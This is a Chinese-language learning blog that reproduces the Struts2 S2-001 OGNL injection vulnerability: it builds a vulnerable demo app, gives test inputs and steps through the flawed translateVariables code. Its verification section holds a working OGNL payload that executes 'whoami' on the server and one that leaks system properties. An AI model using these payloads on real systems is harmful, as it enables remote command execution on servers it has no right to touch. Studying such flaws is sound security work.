前言
java安全还没接触过,都大三了,需要摸一摸java安全了,看大部分都是从S2001开始入门调试的,所以自己也来学一学这个漏洞,是跟着师傅们的文章进行一步一步调试的,因为不太会java调试
orz
漏洞详情
https://cwiki.apache.org/confluence/display/WW/S2-001
由于ognl表达式的递归执行,造成了ognl执行命令
环境搭建
- MxSrvs_Tomcat_8.5.16
- IntelliJ IDEA
目录结构
先从http://archive.apache.org/dist/struts/binaries/struts-2.0.1-all.zip
中下载struts2的jar包
然后将在WEB-INF目录中新建lib目录,将所需的五个包放入1
2
3
4
5commons-logging-1.0.4.jar
freemarker-2.3.8.jar
ognl-2.6.11.jar
struts2-core-2.0.8.jar
xwork-2.0.3.jar
src目录下新建struts.xml1
2
3
4
5
6
7
8
9
10
11
12"1.0" encoding="UTF-8" xml version=
<struts>
<package name="S2-001" extends="struts-default">
<action name="login" class="com.demo.action.LoginAction">
<result name="success">welcome.jsp</result>
<result name="error">index.jsp</result>
</action>
</package>
</struts>
修改web.xml1
2
3
4
5
6
7
8
9
10
11
12
13
14
15"1.0" encoding="UTF-8" xml version=
<web-app xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns="http://xmlns.jcp.org/xml/ns/javaee" xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_3_1.xsd" id="WebApp_ID" version="3.1">
<display-name>S2-001 Example</display-name>
<filter>
<filter-name>struts2</filter-name>
<filter-class>org.apache.struts2.dispatcher.FilterDispatcher</filter-class>
</filter>
<filter-mapping>
<filter-name>struts2</filter-name>
<url-pattern>/*</url-pattern>
</filter-mapping>
<welcome-file-list>
<welcome-file>index.jsp</welcome-file>
</welcome-file-list>
</web-app>
几个重要文件
index.jsp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26<%--
Created by IntelliJ IDEA.
User: hu3sky
Date: 2019-08-18
Time: 22:54
To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<h2>S2-001 Demo</h2>
<p>link: <a href="https://cwiki.apache.org/confluence/display/WW/S2-001">https://cwiki.apache.org/confluence/display/WW/S2-001</a></p>
<s:form action="login">
<s:textfield name="username" label="username" />
<s:textfield name="password" label="password" />
<s:submit></s:submit>
</s:form>
</body>
</html>
welcome.jsp1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20<%--
Created by IntelliJ IDEA.
User: hu3sky
Date: 2019-08-18
Time: 22:55
To change this template use File | Settings | File Templates.
--%>
<%@ page language="java" contentType="text/html; charset=UTF-8"
pageEncoding="UTF-8"%>
<%@ taglib prefix="s" uri="/struts-tags" %>
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd">
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>S2-001</title>
</head>
<body>
<p>Hello <s:property value="username"></s:property></p>
</body>
</html>
然后在src
中新建com.demo.action
package
LoginAction.java1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35package com.demo.action;
import com.opensymphony.xwork2.ActionSupport;
public class LoginAction extends ActionSupport {
private String username = null;
private String password = null;
public String getUsername() {
return this.username;
}
public String getPassword() {
return this.password;
}
public void setUsername(String username) {
this.username = username;
}
public void setPassword(String password) {
this.password = password;
}
public String execute() throws Exception {
if ((this.username.isEmpty()) || (this.password.isEmpty())) {
return "error";
}
if ((this.username.equalsIgnoreCase("admin"))
&& (this.password.equals("admin"))) {
return "success";
}
return "error";
}
}
导入包
然后就能run了
漏洞验证
当输入%{1+1}
submit后会得到
然后能够获取tomcat地址1
%{"tomcatBinDir{"+ .lang.System ("user.dir")+"}"}
执行whoami命令1
%{#a=(new java.lang.ProcessBuilder(new java.lang.String[]{"whoami"})).redirectErrorStream(true).start(),#b=#a.getInputStream(),#c=new java.io.InputStreamReader(#b),#d=new java.io.BufferedReader(#c),#e=new char[50000],#d.read(#e),#f=#context.get("com.opensymphony.xwork2.dispatcher.HttpServletResponse"),#f.getWriter().println(new java.lang.String(#e)),#f.getWriter().flush(),#f.getWriter().close()}
OGNL表达式
搬运1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17OGNL(Object-Graph Navigation Language)的全称是对象图导航语言,它是一种功能强大的开源表达式语言,比EL(只能从域或内置对象中)表达式更强大,使用这种表达式语言,可以通过某种表达式语法,OGNL可以存取Java任意对象的任意属性,调用Java对象的方法,同时能够自动实现必要的类型转换。如果把表达式看作是一个带有语义的字符串,那么OGNL无疑成为了这个语义字符串与Java对象之间沟通的桥梁。
Struts2的默认表达式语言就是OGNL
OGNL的操作实际上就是围绕着OGNL结构的三个要素而进行的,分别是表达式(Expresssion)、根对象(Root Object)、上下文环境(Context)
表达式:
表达式是整个OGNL的核心,OGNL会根据表达式去对象中取值。所有OGNL操作都是针对表达式解析后进行的。它表明了此次OGNL操作要"做什么"。表达式就是一个带有语法含义的字符串,这个字符串规定了操作的类型和操作的内容。OGNL支持大量的表达式语法,不仅支持这种"链式"对象访问路径,还支持在表达式中进行简单的计算
根对象(ROOT):
OGNL的Root对象可以理解为OGNL的操作对象。当我们指定了一个表达式的时候,我们需要指定这个表达式针对的是哪个具体的对象。而这个具体的对象就是Root对象,这就意味着,如果有一个OGNL表达式,那么我们需要针对Root对象来进行OGNL表达式的计算并且返回结果
上下文环境:
实际上OGNL的取值还需要一个上下文环境。设置了Root对象,OGNL可以对Root对象进行取值或写值等操作,Root对象所在环境就是OGNL的上下文环境(Context)。上下文环境规定了OGNL的操作"在哪里进行"。上下文环境Context是一个Map类型的对象,在表达式中访问Context中对象,需要使用"#"号加上对象名称,即"#对象名称"的形式
基本语法
对Root对象的访问
OGNL使用的是一种链式的风格进行对象的访问1
2User user = new User("rcx", "123");
System.out.println(Ognl.getValue("name", user));
对上下文对象的访问
使用OGNL的时候如果不设置上下文对象,系统会自动创建一个上下文对象,如果传入的参数当中包含了上下文对象则会使用传入的上下文对象。当访问上下文环境当中的参数时候,需要在表达式前面加上’#’,表示了与访问Root对象的区别1
2
3
4User user = new User("rcx", "123");
Map<String, Object> context = new HashMap<String, Object>();
context.put("user", user);
System.out.println(Ognl.getValue("#init", context, user));
对静态变量的访问
格式 @[class]@[field/method()]
1
2
3
4
5public class Constant{
public final static String ONE = "one";
...
}
Object object = Ognl.getValue("@com.rcx.ognl.Constant@ONE", null);
对方法的调用
如果需要调用Root对象或者上下文对象当中的方法也可以使用.+方法的方式来调用。甚至可以传入参数1
2
3
4
5
6
7
8User user = new User();
Map<String, Object> context = new HashMap<String, Object>();
context.put("name", "rcx");
context.put("password", "password");
System.out.println(Ognl.getValue("getName()", context, user));
Ognl.getValue("setName(#name)", context, user);
System.out.println(Ognl.getValue("getName()", context, user));
对数组和集合的访问
1 | User user = new User(); |
代码分析
在经过tomcat的处理后,http请求会到达struts
在 /com/opensymphony/xwork2/interceptor/ParametersInterceptor.java:88
接受我们输入的参数值,于是在此处进行下断点
到下面97行
继续跟,跟到/com/opensymphony/xwork2/DefaultActionInvocation.class:203
跟进函数,到dispatcher.forward
继续跟,开始解析标签
然后解析到最后标签
步入evaluateParams
跟下来
这个方法返回true
为了动态的改变标签属性的值,它允许执行标签属性中的OGNL表达式
此时expr为%{username}
然后跟进findvalue()
继续到translateVariables
这里也就到了漏洞的关键点1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49public static Object translateVariables(char open, String expression, ValueStack stack, Class asType, TextParseUtil.ParsedValueEvaluator evaluator) {
Object result = expression;
while(true) {
int start = expression.indexOf(open + "{");
int length = expression.length();
int x = start + 2;
int count = 1;
while(start != -1 && x < length && count != 0) {
char c = expression.charAt(x++);
if (c == '{') {
++count;
} else if (c == '}') {
--count;
}
}
int end = x - 1;
if (start == -1 || end == -1 || count != 0) {
return XWorkConverter.getInstance().convertValue(stack.getContext(), result, asType);
}
String var = expression.substring(start + 2, end);
Object o = stack.findValue(var, asType);
if (evaluator != null) {
o = evaluator.evaluate(o);
}
String left = expression.substring(0, start);
String right = expression.substring(end + 1);
if (o != null) {
if (TextUtils.stringSet(left)) {
result = left + o;
} else {
result = o;
}
if (TextUtils.stringSet(right)) {
result = result + right;
}
expression = left + o + right;
} else {
result = left + right;
expression = left + right;
}
}
}
while循环会取%{}
里的值
寻找{
开头和}
结尾
现在是%{username}
然后循环取出来后 就是 %{1+1}
在findValue()里进行执行
总结
第一次调试java,跟着师傅们的一步一步调,不太清楚什么时候单步什么时候跟进,导致花了很多时间才找到关键函数,配置环境也花了点时间,中间出了些问题,总之还是学到了,给java开了个头